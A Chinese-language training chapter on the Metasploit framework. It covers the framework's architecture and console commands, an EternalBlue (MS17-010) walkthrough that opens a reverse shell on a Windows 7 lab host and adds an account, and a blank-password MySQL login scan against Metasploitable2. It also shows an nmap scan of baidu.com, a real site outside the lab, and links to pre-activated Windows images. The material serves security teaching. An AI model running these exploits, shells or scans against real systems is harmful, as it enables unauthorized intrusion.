主要内容:
7.1 Metasploit 渗透测试框架介绍
7.2 Metasploit 基本使用方法
7.3 实战-使用 msf 渗透攻击Win7 主机并远程执行命令
7.4 Metasploitable2-Linux 靶机系统介绍
7.5 实战-使用 msf 扫描靶机上mysql 服务的空密码
images.png

7.1 Metasploit 渗透测试框架介绍

7.1.1 Metasploit 简介

Metasploit是一个渗透测试平台,使您能够查找,利用和验证漏洞。该平台包括 Metasploit框架及其商业对手,如 Metasploit Pro。
Metasploit是一个免费的、可下载的框架,通过它可以很容易对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit的设计初衷是打造成一个攻击工具开发平台。
访问官网: https://www.metasploit.com/
image.png

7.1.2 Metasploit 版本介绍

image.png
我们常用的版本为Framework 因为该版本为开源版本,拥有的功能满足于我们的开发和学习,商业版本是可以免费体验14天,大家学习的差不多了以后可以再去体验商业版本。主要是体验商业版的报告功能,和WEB界面。

7.1.3 Metasploit 体系框架

image.png
**

1、基础库:metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等;
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
** 2、模块:模块组织按照不同的用途分为6种类型的模块(Modules):
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能。

4、接口:包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。

5、功能程序: metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。

7.1.4 Metasploit目录结构

切换到Metasploit工作目录
┌──(root㉿kali)-[~]
└─# cd /usr/share/metasploit-framework
└─# ls
image.png
data:Metasploit使用的可编辑文件
documentation:为框架提供文档
lib:框架代码库
modules:实际的MSF模块
plugins:可以在运行时加载的插件
scripts:Meterpreter和其他脚本
tools:各种有用的命令行工具

7.2 Metasploit 基本使用方法

Metasploit 基本命令
Metasploit 程序需要使用Postgresql 数据库。
Postgresql 概述:
PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES,4.2版本为基础的对象关系型数据库管理系统。
官网:https://www.postgresql.org/
image.png
注:PostgreSQL:世界上最先进的开源关系数据库 Relational [rɪˈleɪʃənl] 关系型
扩展:PostgreSQL 和 MySQL 数据的应用场景区别:
从应用场景来说,PostgreSQL 更加适合严格的企业应用场景(比如金融、电信、ERP、CRM),而 MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景。

手动启动数据库
┌──(root㉿kali)-[~]
└─# systemctl start postgresql
└─# systemctl enable postgresql #设置成开机启动数据库,我们要经常用

启动 Metasploit,启动方式有两种。
第一种点击图标
image.png
image.png
注:每次弹出的欢迎信息都是随机的。
第二种使用终端命令
└─# msfconsole
注:快捷启动命令msfdb run 可以同时启动 postgresql 数据库和 msf
image.png
第一次启动程序会是初始化应用程序。
image.png
启动完成后会有一些统计信息,比如说版本号,有多少个 exploits,多少个 payloads 等。
msf6 > help #查看帮助信息。
image.png
注:通过help 查看帮助,可以对msf 有个整体认识,可以看到msf 相关命令可以分成以下类型:
Core Commands #核心命令
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands # 资 源 脚 本 命 令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令

下面讲解一下常用的命令。
connect 命令
connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect 192.168.1.1 80”
192.168.1.1 是 IP 地址 80 是端口号。
查看connect 命令参数:
msf6 > connect #直接回车
image.png
连接目标 80 端口
msf6 > connect www.yuque.com 80 #连接上后在另一行,直接输入 get /
[*] Connected to www.yuque.com:80 (via: 192.168.1.33:36185)
get / #提交一个get 请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server: Tengine
Date: Mon, 25 Apr 2022 08:42:56 GMT
Content-Type: text/html
Connection: close

2、模块相关的命令show 使用方法
show 命令用的很多。
“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options
例 1:列出metasploit 框架中的所有渗透攻击模块 exploits。
msf6 > show exploits
#列出metasploit 框架中的所有渗透攻击模块。该命令列出数据较多,较为耗费时间。
msf6 > show payloads #列出metasploit 框架中的所有攻击载荷。
msf6 > show auxiliary #列出metasploit 框架中的所有辅助攻击载荷。
互动:使用show 命令,执行很慢,怎么办?

3、模块相关的命令search 搜索的使用方法
当你使用msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。所以 search 搜索命令就很重要。
当你输入search –h 会列出search 命令的一些选项。
msf6 > search -h
Usage: search [ options ] #search 后主要加选项和关键字

例 1:通过name 关键字进行查找
这里需要用到name:命令。
msf5 > search mysql # search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述很清楚时,使用这个方法
例:先查找出自己想要的ms08_067 漏洞模块。
msf6 > search ms08_067

语法:Search Keywords 参数:关键字
比如msf6 > search name:mysql #要查找mysql 数据库的漏洞
image.png
每列的含意是:
Name Disclosure Date Rank Check Description
编号 名称 披露日期 排名 检查 说明
Disclosure [dɪsˈkləʊʒə(r)] 揭露;透露;公开; rank [ræŋk] 等级, rank 通常用来描述漏洞级别

每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。

用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序。
Rank 按照可靠性降序排列:
excellent 漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的 Windows 7,服务器的 2012 等)
normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average 该漏洞利用程序不可靠或者难以利用。
low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。

例 2:通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路径下的所有模块。如果我要mysql 路径下的所有 mysql 利用模块,那么就输入:
msf6 > search path:mysql
image.png
例 3:缩小查询范围
关键字:platform [ˈplætfɔːm] 平台
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命令后,所查询的结果会列出rank 比较高的模块。如果我要查找mysql 的漏洞,那么输入:
msf6 > search platform:mysql
注:大家对比一下上面的截图,发现没有,所有rank 为normal 的模块全部都屏蔽了,只剩下几个比较高级的利用模块。
image.png
例 4:通过类型进行查找
这里要使用到type:命令。
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索 exploit 模块,那么就输入:
msf6 > search type:exploit

例 5:联合查找
大家可以使用上面的参数自行搭配使用。如果我要查找mysql 的 exploit 相关漏洞。那么输入:
msf6 > search name:mysql type:exploit
image.png
注:MySQL yaSSL CertDecoder::GetName Buffer Overflow 的意思是:
mysql yassl certdecoder::getname 缓冲区溢出漏洞

例 6:根据 CVE 搜索 exploit 相关模块
CVE 概述:CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。CVE 就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得 CVE 成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有 CVE 名称,你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息,解决安全问题。

通过CVE 编号查找永恒之蓝漏洞的利用模块

查找:CVE-2017-0144 永恒之蓝漏洞相关的 exploit 模块。
msf6 > search cve: CVE-2017-0144 type:exploit
image.png
根据CVE 编号时间查询相关漏洞
msf6 > search cve:2021 name:windows #查找 2021 年Windows 相关的漏洞模块
image.png
搜索参数可以组合使用,可以更精准的查询到对应的模块。
3、模块相关的命令use 的使用方法
use 使用参数。如你要使用到某个模块,就要使用到 use 命令
语法:use 模块的名字
实战背景:
2008 年微软爆出ms08_067 漏洞,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。
(1) 、先查找出自己想要的ms08_067 漏洞模块。
msf6 > search ms08_067
image.png
(2) 、装载一个渗透攻击模块
msf6 > use exploit/windows/smb/ms08_067_netapi
image.png
我们可以看到使用use 装载模块后我们的 bash 提示符会变成对应的模块信息。稍后使用这个模块进行攻击。
msf6 exploit(windows/smb/ms08_067_netapi) > back #back 退出当前调用的模块

3、模块相关的命令info 的使用方法
info :显示模块的相关信息。
方法 1:info 模块名称
msf6 > info exploit/windows/smb/ms08_067_netapi
方法 2:use 装载模块后直接使用info
msf6 > use exploit/windows/smb/ms08_067_netapi
image.png
从弹出的消息中,需要重点关注的内容是:
(1) 、可用目标,就是查看可以攻击哪些操作系统
image.png
(2) 、Basic options: 调用漏洞需要的相关参数image.png
(3) 、漏洞描述和执行过程:
image.png
(4) 、参考文档
image.png
方法 2:使用show 命令查看模块的相关信息
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看模块的选项image.png
msf6 exploit(windows/smb/ms08_067_netapi) > show targets #查看可以攻击哪些操作系统
image.png
设置RHOSTS 参数,指定攻击的目标机器
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.33
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看设置的值
image.png
配置好了之后我们输入 exploit 或run 就可以执行该模块。
msf6 exploit(windows/smb/ms08_067_netapi) > back #使用back 即可退出装载的模块
注:不要使用 exit,exit 会直接退出 Metasploit 程序

7.3 实战-使用 msf 渗透攻击Win7 主机并远程执行命令

7.3.1 环境介绍

永恒之蓝概述:
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

注: windows7 是2009年发布。

我们这节课利用win7的经典漏洞“永恒之蓝”。
官方描述:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
永恒之蓝相关病毒,其实是利用了微软的MS17-010漏洞。MS17-010是Windows系统一个底层服务的漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

7.3.2 通过msf 模块获取Win7 主机远程shell

Win7 旗舰版SP1-64 位系统镜像(内有激活工具):
链接:https://pan.baidu.com/s/1FueCa5Z9WUBbOWvL-Djwqw提取码:root
Win7 旗舰版 SP1-64 位免安装版(已激活)密码:123456
链接:https://pan.baidu.com/s/106AcVyChYVvOZRXHOtFRzA提取码:root
如果想自己安装可以下载镜像,不想自己安装的可以下载免安装版
模块的整体使用流程如下
image.png
怎么发现(系统)漏洞?
信息收集:存活主机识别,识别靶机和kali在同一网段
image.png
排除部分地址后,进一步精准扫描,批量扫描开放端口、服务、操作系统。
服务识别速度慢,需要等几分钟
image.png
进一步探测192.168.1.41
image.png

我们先扫描目标是否存在ms17-010 漏洞
msf6 > search ms17-010
image.png
使用use 命令选中这个模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010

msf6 > use 3
查看模块需要配置的信息
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
image.png
需要我们配置 RHOST 主机IP
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.41
开始扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
image.png
目标看起来易受攻击,也就表示可能存在相关漏洞。
注:如果遇到下图提示,需检查网络模式和防火墙
image.png
查找攻击模块
msf6 > search ms17-010
image.png
使用use 命令加载模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
image.png
设置目标主机IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.41

查看exploit target 目标类型:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
image.png
可以看到这个模块只有一个target,所以默认就选择这个目标系统。不需要手动设置。
我们已经配置好漏洞相关参数了,接下来应该做什么?
image.png
找一个payload,获取shell 远程连接权限后,进行远程执行命令,由于模块加载的时候默认指定了一个payload
image.png
如果不想使用默认指定的payload,可以自己找一个payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。
我们挑选一个反弹shell 的 payloads
image.png
注:设置的时候payload 和 windows 之间有空格。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
查看一下payloads 需要配置什么信息
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload 信息
image.png**设置一下本机payload 监听地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.33
配置完成后开始执行
exploit [ɪkˈsplɔɪt 运用;利用;
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
image.png
注:如果等待没有出现shell 提示符可以敲一下回车。
直接执行的话会获得目标主机的SEHLL
使用DOS 命令创建用户
C:\Windows\system32>net user admin admin /add
image.png
显示乱码但是已经添加成功
拓展:解决乱码问题(乱码是因为windows 和linux 的编码不一样导致的)
C:\Windows\system32>chcp 65001
查 看 用 户
C:\Windows\system32>net user
image.png
可以看到新建的用户已经创建成功。
查看拿到的用户权限
C:\Windows\system32>whoami
image.png
关闭链接 Ctrl+c
Abort session 1? [y/N] y

实战:通过会话进行连接目标机

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
-j 表示后台执行 渗透目标完成后会创建一个session 我们可以通过session 连接目标主机。
image.png
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
image.png
通过会话 Id 进入会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
image.png
退出会话将会话保存到后台
C:\Windows\system32>background
image.png**msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
根据会话 Id 结束会话
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 2
image.png
总结使用metasploit 攻击的步骤:
1、查找 CVE 公布的漏洞
2、查找对应的 exploit 模块
3、配置模块参数
4、添加payload 后门
5、执行 exploit 开始攻击

7.4 Metasploitable2-Linux 靶机系统介绍

7.4.1 Metasploitable2 靶机介绍

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox和其他虚拟平台。

7.4.2 Metasploitable2 安装

直接解压压缩包:metasploitable-linux-2.0.0.zip ,我压缩到了:
E:\workstation\metasploitable-linux-2.0.0 。大家选择自己的目录就可以了。
使用VMware 打开新的虚拟机
image.png
选择解压出来的.vmx 文件
image.png
修改靶机的网络配置
image.png
选择桥接模式
image.png
开启虚拟机

image.png
使用普通用户:msfadmin 密码: msfadmin 进行登录
修改root 用户密码
msfadmin@metasploitable:~$ sudo passwd root
[sudo] password for msfadmin:msfadmin #注:需要提权输入msfadmin 用户的密码
设置新密码
Enter new UNIX password: 123456
Retype new UNIX password: 123456
passwd: password updated successfully
切换到root 用户
msfadmin@metasploitable:~$ su root
Password:123456
image.png
注:靶机中直接使用 vim 命令对文件修改即可
root@metasploitable:/home/msfadmin# vim /etc/network/interfaces #修改 eth0 配置如下
auto eth0
iface eth0 inet static address 192.168.1.120
netmask 255.255.255.0
gateway 192.168.1.1
:wq 保存退出
image.png
root@metasploitable:/home/msfadmin# /etc/init.d/networking restart
* Reconfiguring network interfaces…
root@metasploitable:/home/msfadmin# ifconfig
image.png
修改完成后创建一个快照以便我们后期对操作系统造成破坏。
注:如果靶机关机时,关不了机,卡住了。直接关电源,如下图:
image.png

7.5 实战-使用 msf 扫描靶机上mysql 服务的空密码

7.5.1 实战-使用msf 扫描靶机上mysql 服务的空密码

我们启动一台 Metasploitable2-Linux 靶机网络模式为桥接IP:192.168.1.120
image.png
登录Metasploitable2-Linux 系统用户名root,密码:123456
输入 ip a 查看 ip 地址
image.png
登录Kali 开始搜索模块
msf6> search mysql_login
image.png
加载模块
msf6 > use auxiliary/scanner/mysql/mysql_login
查看模块配置项
msf6 auxiliary(scanner/mysql/mysql_login) > show options
image.png
我们配置要爆破的用户
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
参数:BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空密码。blank [blæŋk] 空 白 的
开启为所有用户尝试空密码
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
设置目标主机
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.120
image.png
配置完成以后我们执行run 或者 exploit
msf6 auxiliary(scanner/mysql/mysql_login) > exploit
image.png
执行成功

使用后端凭证命令creds , 列出数据库中的所有凭据
Credentials [krəˈdenʃlz] 凭证;证书;
msf6 auxiliary(scanner/mysql/mysql_login) > creds
image.png

7.5.2 将扫描的结果导出Metasploit 与导入另一台机器的Metasploit 中

例1:将前面扫描mysql 数据库空密码信息导出
msf6 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
注:导出只支持两种格式:xml 和 pwdump
常用的导出格式为 xml
image.png
导出以后退出程序
msf6 auxiliary(scanner/mysql/mysql_login) > exit

例 2:将扫描的结果导入另一台机器的Metasploit 中
我们就不再开一台新Kali,直接重置数据库,当成新的来用
┌──(root㉿kali)-[~]
└─# msfdb reinit
连接 Metasploit
└─# msfconsole
msf6 > hosts
image.png
数据库中主机信息是空的,我们导入数据
msf6 > db_import /root/bak.xml
image.png
msf6 > hosts
image.png
hosts 命令有多个选项,通过 hosts -h 可以查看
msf6 > hosts -h
image.png
在这里,最重要的是选项 -c,此选项使我们能够选择要用hosts 命令显示的数据的列或字段(类似于SQL 中的select 命令)。在上图中可以看到显示的可用列。
例:显示指定列的主机信息
msf6 > hosts -c address,name,os_name
image.png
删除指定主机
msf6 > hosts -d 192.168.1.120
image.png
除此之外我们还可以直接将NMAP 的扫描结果导入到Metasploit 数据库中我们新开一个终端窗口来进行扫描。
└─# nmap -A baidu.com -oX baidu.xml
-oX 将扫描信息导出到 XML 文件中
image.png
我们回到 Metasploit 导入扫描结果
msf6 > db_import /root/baidu.xml
image.png
msf5 > hosts
image.png**查看我们数据库中的主机都开放了哪些服务
msf5 > services
image.png
显示指定主机的服务信息
msf5 > services -R 220.181.38.148
image.png
扩展:
在msf 命令提示符下输入help 后,显示的命令列表和作用描述。
msf6 > help
核心命令
=============
?帮助菜单
banner 显示一个metasploit 横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep 另一个命令的输出 如: grep creds help
help 帮助菜单
history 显示命令历史
irb 进入irb 脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号

模块命令
===============
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块

工作命令
============
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业

资源脚本命令
========================
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令

数据库后端命令
=========================
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行 nmap 并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换

凭证后端命令
============================
creds 列出数据库中的所有凭据